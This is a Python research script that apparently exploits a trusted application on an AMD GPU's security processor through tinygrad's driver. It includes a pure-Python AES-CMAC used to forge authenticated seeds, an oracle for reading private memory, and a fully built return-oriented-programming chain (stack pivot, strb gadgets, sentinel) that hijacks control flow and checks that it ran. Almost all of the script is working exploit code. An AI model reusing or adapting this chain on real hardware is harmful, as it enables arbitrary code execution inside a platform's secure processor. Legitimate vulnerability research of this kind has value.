"""END-TO-END: read a dword of TA-private code via FE0A's comparator oracle.

params VA = 0x04024000 (pinned: fault addr 0x54024014 - 0x14 - 0x50000000).
Target VA T  ->  D = (T - params - 0x14) mod 2^32, placed at *(params+0x824).
Oracle: FE0A returns 0 (ACCEPT) iff counter < value_at_T, else 0x100 (REJECT).
Counter is set exactly by FE09's seed (counter = seed-1), seed = DATA[0:4], which is inside the
AES-CMAC'd region -- so each probe needs a freshly computed CMAC. Pure-Python AES-128 below
(the box has no crypto module). 32 probes binary-search the full 32-bit value.
"""
import struct, sys, glob, json
sys.path.insert(0,'/root/psp/hw')
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am

# ---------- pure-python AES-128 + CMAC ----------
SB=[0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16]
def xt(a):
    a<<=1
    return (a^0x1b)&0xff if a&0x100 else a
def expand(k):
    w=[list(k[i*4:i*4+4]) for i in range(4)]; rc=1
    for i in range(4,44):
        t=list(w[i-1])
        if i%4==0:
            t=t[1:]+t[:1]; t=[SB[x] for x in t]; t[0]^=rc; rc=xt(rc)
        w.append([w[i-4][j]^t[j] for j in range(4)])
    return w
def enc(k,b):
    w=expand(k); s=[list(b[i::4]) for i in range(4)]
    s=[[b[r+4*c] for c in range(4)] for r in range(4)]
    def ark(rnd):
        for c in range(4):
            for r in range(4): s[r][c]^=w[rnd*4+c][r]
    ark(0)
    for rnd in range(1,11):
        for r in range(4):
            for c in range(4): s[r][c]=SB[s[r][c]]
        for r in range(1,4): s[r]=s[r][r:]+s[r][:r]
        if rnd!=10:
            for c in range(4):
                a=[s[r][c] for r in range(4)]
                s[0][c]=xt(a[0])^xt(a[1])^a[1]^a[2]^a[3]
                s[1][c]=a[0]^xt(a[1])^xt(a[2])^a[2]^a[3]
                s[2][c]=a[0]^a[1]^xt(a[2])^xt(a[3])^a[3]
                s[3][c]=xt(a[0])^a[0]^a[1]^a[2]^xt(a[3])
        ark(rnd)
    return bytes(s[r][c] for c in range(4) for r in range(4))
def dbl(b):
    n=int.from_bytes(b,'big')<<1
    if int.from_bytes(b,'big')>>127: n^=0x87
    return (n&((1<<128)-1)).to_bytes(16,'big')
def cmac(k,m):
    L=enc(k,bytes(16)); K1=dbl(L)
    assert len(m)%16==0 and m
    blocks=[m[i:i+16] for i in range(0,len(m),16)]
    blocks[-1]=bytes(a^b for a,b in zip(blocks[-1],K1))
    x=bytes(16)
    for blk in blocks: x=enc(k,bytes(a^b for a,b in zip(x,blk)))
    return x
# ---------- device ----------
adev=Device["AMD"].iface.dev_impl; psp=adev.psp
BUFLEN=0x40000; PAT=0xA5; SZ=0x1000; PARAMS=0x04024000
g=json.load(open('/root/psp/hw/fe08_good.json'))
CT=bytes.fromhex(g['ct']); SK=bytes.fromhex(g['sk']); SEED=g['seedoff']
assert cmac(SK,bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac'], 'CMAC self-test FAILED'
print('pure-python AES-CMAC self-test: OK (matches the host-computed MAC)')
def alloc(n):
    pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa)
def load_asd(p):
    b=open(p,'rb').read(); ap,amc=alloc(0x80000); sp,smc=alloc(0x10000); n=(len(b)+3)&~3
    adev.vram.view(ap,n)[:]=b+b'\x00'*(n-len(b)); adev.gmc.flush_hdp()
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_ASD); t=c.cmd.cmd_load_ta
    t.app_phy_addr_lo,t.app_phy_addr_hi=amc&0xFFFFFFFF,amc>>32; t.app_len=len(b)
    t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=smc&0xFFFFFFFF,smc>>32; t.cmd_buf_len=0x10000
    try: return psp._ring_submit(c).resp.status&0xFFFFFFFF
    except Exception: return -1
app_pa,app_mc=alloc(0x80000); cp,cmc=alloc(BUFLEN)
blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read()
def load():
    n=(len(blob)+3)&~3
    adev.vram.view(app_pa,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp()
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t=c.cmd.cmd_load_ta
    t.app_phy_addr_lo,t.app_phy_addr_hi=app_mc&0xFFFFFFFF,app_mc>>32; t.app_len=len(blob)
    t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cmc&0xFFFFFFFF,cmc>>32; t.cmd_buf_len=BUFLEN
    try:
        r=psp._ring_submit(c); return r.resp.status&0xFFFFFFFF, r.resp.session_id
    except Exception: return -1,None
def build(cmd,arg10,blob256=None,seed=None,extra=None):
    buf=bytearray(bytes([PAT])*BUFLEN)
    struct.pack_into('<I',buf,0,cmd); struct.pack_into('<I',buf,0x10,arg10)
    struct.pack_into('<I',buf,0x414,0xFFFFFFFB); struct.pack_into('<I',buf,0x818,SZ)
    if blob256: buf[0x14:0x14+len(blob256)]=blob256
    if seed is not None:
        d=seed.to_bytes(4,'little')+bytes(range(4,0x20))
        buf[0x14:0x24]=cmac(SK,d); buf[0x24:0x24+len(d)]=d
        struct.pack_into('<I',buf,0x414,0x10+len(d))
    for o,v in (extra or {}).items(): struct.pack_into('<I',buf,o,v)
    return buf
def sub(sid,cmd,buf):
    adev.vram.view(cp,BUFLEN)[:]=bytes(buf); adev.gmc.flush_hdp()
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv=c.cmd.cmd_invoke_cmd; iv.session_id,iv.ta_cmd_id=sid,cmd
    try: psp._ring_submit(c)
    except Exception: pass
    adev.gmc.flush_hdp(); out=bytes(adev.vram.view(cp,BUFLEN)[:])
    return struct.unpack_from('<I',out,8)[0], out

import time
PARAMS=0x04024000
FILL=0xBB
print('LOAD_ASD:',hex(load_asd('/root/psp/contall/asd_33-0-0-163_18debcc4.bin')))
st,sid=load(); print('load GCP: %#x sid=%s'%(st,sid)); sys.stdout.flush()
def unload(s_):
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA); c.cmd.cmd_unload_ta.session_id=s_
    try: psp._ring_submit(c)
    except Exception: pass
def handshake():
    global sid
    for _ in range(8):
        ta,out=sub(sid,0xFE07,build(0xFE07,0)); h=struct.unpack_from('<I',out,0x1950)[0]
        if ta==0: return h
        unload(sid); st2,ns=load(); sid=ns if ns else sid; time.sleep(0.2)
    raise RuntimeError('FE07 failed')

# ============================================================================
# FE0A SELECTOR-8 PROBE  (Addendum 142 step 3)
#
# Static claim under test: FE0A selector 8 -> tbb case 7 -> 0x404fe8, which stores a
# 4-byte LE dword (the ASD cmd-0x109 RPC result) at params + *(params+0x834) + 0x418,
# gated by  D > 0xFFFFFFFB || D + 4 <= *(params+0x818).
#
# This run is IN-BUFFER ONLY: every displacement keeps the destination inside the
# command buffer, so nothing out-of-allocation is written and the ring stays healthy.
# Whole-buffer diff (fill 0xBB) so an unexpected landing offset is still observed --
# the 0x834 field identity is a static inference and may be wrong.
# ============================================================================
FILL2 = 0xBB

def invoke(cmd, buf):
    adev.vram.view(cp, BUFLEN)[:] = bytes(buf); adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv = c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, cmd
    try: psp._ring_submit(c)
    except Exception as e: print('    submit exc', e)
    adev.gmc.flush_hdp()
    return bytes(adev.vram.view(cp, BUFLEN)[:])

def fe0a_buf(h, sel, d86c=0, d834=None, sz818=0x1000):
    """identical field set to codeccap's proven fe0a_codec, plus +0x834"""
    buf = bytearray(bytes([FILL2]) * BUFLEN)
    struct.pack_into('<I', buf, 0, 0xFE0A)
    struct.pack_into('<I', buf, 0x10, h)
    struct.pack_into('<I', buf, 0x414, 0x1000)
    struct.pack_into('<I', buf, 0x818, sz818)
    struct.pack_into('<I', buf, 0x81c, 0x20)
    struct.pack_into('<I', buf, 0x820, sel)
    struct.pack_into('<I', buf, 0x824, 0)
    struct.pack_into('<I', buf, 0x828, 0)
    struct.pack_into('<I', buf, 0x86c, d86c)
    if d834 is not None: struct.pack_into('<I', buf, 0x834, d834)
    struct.pack_into('<I', buf, 0x14, 0x11111111)
    return buf

def diffruns(pre, post):
    runs, i, n = [], 0, len(post)
    while i < n:
        if post[i] != pre[i]:
            j = i
            while j < n and post[j] != pre[j]: j += 1
            runs.append((i, post[i:j])); i = j
        else:
            i += 1
    return runs

def probe(tag, sel, d834=None, d86c=0, sz818=0x1000):
    h = handshake()
    sub(sid, 0xFE08, build(0xFE08, h, blob256=CT))
    sub(sid, 0xFE09, build(0xFE09, h, seed=1,
        extra={0x820:1, 0x828:(0x500-0x418)&0xFFFFFFFF, 0x82C:SEED, 0x830:0}))
    buf = fe0a_buf(h, sel, d86c=d86c, d834=d834, sz818=sz818)
    out = invoke(0xFE0A, buf)
    st = struct.unpack_from('<I', out, 8)[0]
    d834s = 'none' if d834 is None else '%#x' % d834
    print('%-34s sel=%-3d 0x834=%-12s status=%#x (%d)' % (tag, sel, d834s, st, st))
    runs = diffruns(bytes(buf), out)
    for off, data in runs:
        if len(data) <= 24: print('      +%#07x  %s' % (off, data.hex(' ')))
        else:               print('      +%#07x  len=%-5d %s ...' % (off, len(data), data[:16].hex(' ')))
    if not runs: print('      (no host-visible change at all)')
    sys.stdout.flush()
import os, struct as _s
PARAMS=0x04024000
RBASE_OFF=0x2000                 # SP after pivot = params+0x2000
RBASE=PARAMS+RBASE_OFF
PIVOT=0x0040371d                 # mov sp,r4 ; pop {r4,r5,r6,r7,r8,sb,sl,fp,pc}
STRB =0x00402267                 # strb r4,[r5] ; pop {r4,r5,r6,r7,r8,pc}
SENT =0x00BADA54                 # unmapped sentinel -> translation fault if the chain ends here
MARK_OFF=0x3000                  # target buffer offset (left at 0xBB fill)
MARK=PARAMS+MARK_OFF
STR=b"R0P!"                      # 0x52 0x30 0x50 0x21
SLOT=0x41bfbc
def c2p(n): return getattr(adev,'mmMP0_SMN_C2PMSG_%d'%n).read() & 0xFFFFFFFF
def fframe(): return tuple(c2p(n) for n in range(82,89))
def disp(va): return (va-PARAMS-0x418)&0xFFFFFFFF
def fe0c(h,a10,a18):
    b=bytearray(bytes([PAT])*BUFLEN)
    _s.pack_into('<I',b,0,0xFE0C); _s.pack_into('<I',b,0x10,h)
    _s.pack_into('<Q',b,0x10,a10); _s.pack_into('<Q',b,0x18,a18)
    _s.pack_into('<I',b,0x414,0x1000); _s.pack_into('<I',b,0x818,0x1000)
    return b
def build_chain(buf):
    o=RBASE_OFF
    def w(v): 
        nonlocal o
        _s.pack_into('<I',buf,o,v&0xFFFFFFFF); o+=4
    # pivot lands SP here: r4,r5,r6,r7,r8,sb,sl,fp then pc
    w(STR[0]); w(MARK+0)          # r4=byte0, r5=addr0
    w(0);w(0);w(0);w(0);w(0);w(0) # r6,r7,r8,sb,sl,fp
    w(STRB)                       # pc -> strb gadget (E1 stores byte0)
    for i in range(1,len(STR)):   # E(i) pops these, stores byte i
        w(STR[i]); w(MARK+i)      # r4=byte i, r5=addr i
        w(0);w(0);w(0)            # r6,r7,r8
        w(STRB)                   # pc -> strb again
    # final strb's pop: r4,r5,r6,r7,r8 then pc=sentinel
    w(0);w(0);w(0);w(0);w(0); w(SENT)
def qcs(h,dA,dB):
    b=bytearray(bytes([0xBB])*BUFLEN)
    _s.pack_into('<I',b,0,0xFE0A); _s.pack_into('<I',b,0x10,h)
    _s.pack_into('<I',b,0x14,0x11111111); _s.pack_into('<I',b,0x414,0x1000)
    _s.pack_into('<I',b,0x818,0xFFFFFFF0); _s.pack_into('<I',b,0x81c,0x40)
    _s.pack_into('<I',b,0x820,4); _s.pack_into('<I',b,0x824,0); _s.pack_into('<I',b,0x828,0)
    _s.pack_into('<I',b,0x838,dB&0xFFFFFFFF); _s.pack_into('<I',b,0x83c,0x200)
    _s.pack_into('<I',b,0x840,dA&0xFFFFFFFF)
    _s.pack_into('<Q',b,0x14+0x200,0)
    build_chain(b)
    return b
A10=RBASE&0xFFFFFFFF             # dstA: r4=RBASE, r5=0
A18=(PIVOT<<32)                  # dstB: sl=0, pc=PIVOT
h=handshake()
stc,_=sub(sid,0xFE0C,fe0c(h,A10,A18))
sub(sid,0xFE08,build(0xFE08,h,blob256=CT))
sub(sid,0xFE09,build(0xFE09,h,seed=1,extra={0x820:1,0x828:(0x500-0x418)&0xFFFFFFFF,0x82C:SEED,0x830:0}))
out=invoke(0xFE0A,qcs(h,disp(SLOT-0x1c),disp(SLOT-0x04)))
st=_s.unpack_from('<I',out,8)[0]; fr=fframe()
got=bytes(out[MARK_OFF:MARK_OFF+len(STR)])
print("ROPWRITE status=%#x FSR=%#x faultaddr=%#x"%(st,fr[3],fr[4]))
print("  marker @ params+%#x = %r  (wanted %r)"%(MARK_OFF,got,STR))
ok_bytes = got==STR
ok_fault = fr[4]==SENT
print("  bytes written by chain: %s   terminated at sentinel: %s"%(ok_bytes,ok_fault))
if ok_bytes and ok_fault:
    print("  *** 4-GADGET ROP CHAIN EXECUTED: wrote %r via self-chaining strb, ended at sentinel ***"%STR)